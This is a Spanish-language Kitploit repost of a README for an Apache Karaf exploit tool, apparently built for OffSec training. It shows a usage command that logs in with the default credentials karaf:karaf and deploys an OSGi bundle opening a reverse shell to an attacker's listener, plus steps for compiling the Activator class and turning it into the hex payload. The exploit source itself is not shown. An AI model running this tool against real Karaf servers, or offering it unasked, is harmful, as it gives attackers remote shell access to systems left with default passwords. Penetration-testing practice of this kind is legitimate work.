offsec-karaf-exploits — Explota Apache Karaf con credenciales predeterminadas para implementar un payload de reverse shell OSGi y obtener acceso remoto a la shell. | Kitploit

Exploits de Apache Karaf para OffSec

Uso:

python exploit.py --help

Ejemplo:

python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf

Reconstruir el Payload

Configurar el Framework Felix

Crea el directorio lib

mkdir -p ./revshell/lib

Descarga Felix Framework 7.0.5
Extrae el archivo zip
Copia org.apache.felix.main.distribution-7.0.5/bin/felix.jar a ./revshell/lib/felix.jar

Generar la Clase Activator

cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java

Obtener los Valores Hexadecimales

Los valores hexadecimales forman la reverse shell en el exploit

./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class

Recursos

Felix Framework

Descargar herramienta